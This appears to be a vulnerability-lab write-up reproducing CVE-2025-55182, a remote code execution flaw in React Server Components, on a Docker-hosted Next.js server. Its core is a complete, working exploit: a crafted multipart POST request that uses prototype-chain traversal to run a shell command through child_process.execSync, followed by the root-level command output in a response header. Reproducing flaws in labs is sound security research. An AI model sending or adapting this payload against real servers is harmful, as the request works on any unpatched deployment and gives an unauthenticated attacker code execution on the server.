React Server Components (RSC) is a feature that allows developers to render components on the server and send the result to the client.
There is an unauthenticated remote code execution vulnerability in React Server Components. An attacker could craft a malicious HTTP request to any Server Function endpoint that, when deserialized by React, achieves remote code execution on the server. This vulnerability affects versions of react-server-dom-webpack, react-server-dom-parcel, and react-server-dom-turbopack from 19.0 to 19.2.0, as well as frameworks relying on them like Next.js.
References:
- https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
- https://nextjs.org/blog/CVE-2025-66478
- https://github.com/ejpir/CVE-2025-55182-research
- https://cloud.projectdiscovery.io/library/CVE-2025-55182
- https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc
Although this vulnerability is present in React Server Components, Next.js, as the most popular React framework, fully supports React Server Components since Next.js 15. Therefore, we can use Next.js to reproduce the vulnerability.
Execute the following command to start a Next.js 15.5.6 server with the vulnerability:
docker compose up -d
After the server starts, you can browse the application at http://your-ip:3000.
The vulnerability is caused by a flaw in how React Server Components decodes payloads. By injecting specific fields into the serialized data, an attacker can traverse the prototype chain and execute arbitrary code.
Send the following request packet to execute the command id:
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 758
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--After sending the request, check the x-action-redirect header in the response, which contains the execution result of the id command:
x-action-redirect: /login?a=uid=0(root) gid=0(root) groups=0(root);push